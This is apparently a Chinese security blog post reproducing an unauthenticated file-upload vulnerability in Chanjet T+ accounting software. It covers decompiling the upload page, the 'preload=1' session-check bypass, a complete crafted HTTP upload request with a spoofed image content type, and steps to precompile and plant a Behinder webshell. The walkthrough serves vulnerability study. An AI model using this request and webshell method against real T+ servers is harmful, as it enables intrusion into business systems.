一、前言 值守期间看到网上师傅的文章,于是就有以下这篇文章。漏洞影响版本:畅捷通T+单机版<=17.0且使用IIS10.0以下版本,漏洞点 tplus/SM/SetupAccount/Upload.aspx?preload=1
。
二、环境搭建 1、选择下载安装,https://dad.chanapp.chanjet.com/TplusYZHJ17.0.zip 这边选择迅雷下载,解压后选择标准版安装,记得按照提示先关闭杀毒软件,安装过程比较慢,需要等待一段时间。
安装过程中提示设置数据库,这里选择关闭,不进行数据库配置
安装完成后,点击桌面图标即可进入访问
三、漏洞分析 定位漏洞点 在路径 C:\Program Files (x86)\Chanjet\TPlusStd
找到安装后的源码
根据网上 Payload 定位漏洞点 tplus/SM/SetupAccount/Upload.aspx?preload=1
,系统采用了预编译(注:预编译即在安装时系统进行了预编译处理,即系统在用户第一次访问前已进行预先编译,当用户访问时不要再次进行编译,使用户第一次访问时的响应速度更快,也保护了源代码的安全,一定程度上避免了源码泄露造成的风险,但缺点也很明显,若需要进行修改则整个程序需要重新编译发行)
经过浏览源码发现,成套程序都进行了预编译处理,无法查看其源代码(当 ASP.NET 部署了预编译的应用程序后,会调用 Bin 文件夹中的程序集来进行处理请求,其中编辑器程序集和文件扩展名为 .compiled,程序集名称由编译器生成, .compiled 文件内容不包含可执行代码,只包含 ASP.NET 查找相应的程序集所需的信息。预编译文件只是一个占位符,若需要找到源码则可能需要反编译 .dll 文件。)
我们找到漏洞点文件相对应对的 .compiled 文件,通过查找对比,找到对应的 .compiled 文件:bin/upload.aspx.9475d17f.compiled
根据 upload.aspx 对应的 .compiled 文件定位到程序集文件 App_Web_upload.aspx.9475d17f
1 2 3 4 5 6 7 <?xml version="1.0" encoding="utf-8" ?> <preserve resultType ="3" virtualPath ="/WebSite/SM/SetupAccount/Upload.aspx" hash ="16f32931f" filehash ="8aff27fcb5b4a92d" flags ="110000" assembly ="App_Web_upload.aspx.9475d17f" type ="ASP.sm_setupaccount_upload_aspx" > <filedeps > <filedep name ="/WebSite/SM/SetupAccount/Upload.aspx" /> <filedep name ="/WebSite/SM/SetupAccount/Upload.aspx.cs" /> </filedeps > </preserve >
dll反编译分析 使用 dnSpy 对 App_Web_upload.aspx.9475d17f
进行调试(注:dnSpy 是一个调试器和 .NET 程序集编辑器。即使您没有任何可用的源代码,您也可以使用它来编辑和调试程序集,在线逆向),项目地址 https://github.com/dnSpy/dnSpy
,这里直接搜索 App_Web_upload.aspx.9475d17f
拉进 dnSpy 即可
通过分析定位到漏洞页面源码
源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 // CommonPage_SetupAccount_Upload // Token: 0x06000004 RID: 4 RVA: 0x000020AC File Offset: 0x000002AC protected void Page_Load(object sender, EventArgs e) { this.ReadResources(); if (base.Request.Files.Count == 1) { string text = "images/index.gif"; object obj = this.ViewState["fileName"]; if (obj != null) { text = obj.ToString(); } if (this.File1.PostedFile.ContentLength > 204800) { base.Response.Write(string.Concat(new string[] { "<script language='javascript'>alert('", this.PhotoTooLarge, "'); parent.document.getElementById('myimg').src='", text, "';</script>" })); return; } if (this.File1.PostedFile.ContentType != "image/jpeg" && this.File1.PostedFile.ContentType != "image/bmp" && this.File1.PostedFile.ContentType != "image/gif" && this.File1.PostedFile.ContentType != "image/pjpeg") { base.Response.Write(string.Concat(new string[] { "<script language='javascript'>alert('", this.PhotoTypeError, "'); parent.document.getElementById('myimg').src='", text, "';</script>" })); return; } string fileName = this.File1.PostedFile.FileName; string text2 = fileName.Substring(fileName.LastIndexOf('\\') + 1); this.File1.PostedFile.SaveAs(base.Server.MapPath(".") + "\\images\\" + text2); string value = base.Server.MapPath(".") + "\\images\\" + text2; this.ViewState["fileName"] = "images/" + text2; TPContext.Current.Session["ImageName"] = value; } }
根据获取到的源码进行分析
漏洞复现 原理了解,实践开始,通过 Burp 抓包,构造语句,我这里使用 Windows 自带浏览器进行流量代理,因为使用 Chrome 无法进行抓包
访问 /tplus/SM/SetupAccount/Upload.aspx
路径进行抓包,这里直接替换为参考文章师傅的数据包即可,修改 IP 为本地 IP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 POST /tplus/SM/SetupAccount/Upload.aspx HTTP/1.1 Host: 192.168.114.144 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: ASP.NET_SessionId=gvigofzulthd2v1i2q5zndtf; Hm_lvt_fd4ca40261bc424e2d120b806d985a14=1662302093; Hm_lpvt_fd4ca40261bc424e2d120b806d985a14=1662302093 Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywwk2ReqGTj7lNYlt Content-Length: 182 ------WebKitFormBoundarywwk2ReqGTj7lNYlt Content-Disposition: form-data; name="File1";filename="test.aspx" Content-Type: image/jpeg 1 ------WebKitFormBoundarywwk2ReqGTj7lNYlt--
系统提示需要登录
其实根据披露的入口点为 tplus/SM/SetupAccount/Upload.aspx?preload=1
,我们直接替换为这个路径即可,但参考文章中的师傅给出了分析,我们就继续跟进学习一下其原理。根据提示上传文件需要登录,那就需要寻找系统鉴权的代码进行分析,分析其鉴权方式,以及是否存在绕过的可能。
根据分析 App_Web_upload.aspx.9475d17f
的代码,在此处并没有发现鉴权的地方
向上回溯,发现其引用了 APP.global.asax
,对应的程序集名字为 APP_Web_global.asax.cs.cdcab7d2
直接双击进入其程序集,获取其 dll 文件源码,翻看代码发现 Application_PreRequestHandlerExecute
函数中定义若 preload
参数 == 1 则不进行 session 认证
整合信息,漏洞路径为 tplus/SM/SetupAccount/Upload.aspx?preload=1
,修改 POST 请求路径,再次尝试进行文件上传
文件成功上传至 \WebSite\SM\SetupAccount\images
目录下
上传 webshell 文件
虽然文件成功上传了,但当我们进行访问的时候,发现页面报错了,原因是我们上传的文件的时候没有进行预编译,所以系统无法识别
绕过系统限制,全局搜索,利用系统 C:\Windows\Microsoft.NET\Framework64\v2.0.50727
中的 aspnet_compiler.exe
, 生成程序集,绕过预编译机制
Cmd 执行,C:\Windows\Microsoft.NET\Framework64\v2.0.50727>aspnet_compiler -v \ -p C:\Users\Boom\Desktop\TPlus\shell C:\Users\Boom\Desktop\TPlus\upfile -fixednames
,-p 代表的是你木马的目录。 C:\Users\Boom\Desktop\TPlus\upfile 表示生成的 .dll 文件在哪个目录中
生成文件如下
这里更换为冰蝎马利用成功,将 /bin 文件夹目录下面的 .dll 文件及预编译后的 shell 文件上传到网站 /bin 目录 C:\Program Files (x86)\Chanjet\TPlusStd\WebSite\bin
这里得配合目录穿越上传预编译文件才能成功 Getshell,这边没能成功复现。这边是直接把文件拉到网站目录下的,实战中可能存在 asp 上传成功解析,不需要上传预编译文件的可能。
四、总结 通过这次的漏洞复现,还是能学习到很多的知识点,从环境的搭建、源码的分析、dll反编译再到漏洞原理分析,一步接一步打开思路,加深漏洞原理的学习,从一个知识点扩展到其它分支知识,总体上收获良好。
五、参考文章 1 2 3 4 5 https://www.o2oxy.cn/4104.html https://cloud.tencent.com/developer/article/1381405 https://www.debugease.com/aspdotnet/74941.html https://www.buaq.net/go-53733.html https://blog.csdn.net/xiayu729100940/article/details/126646035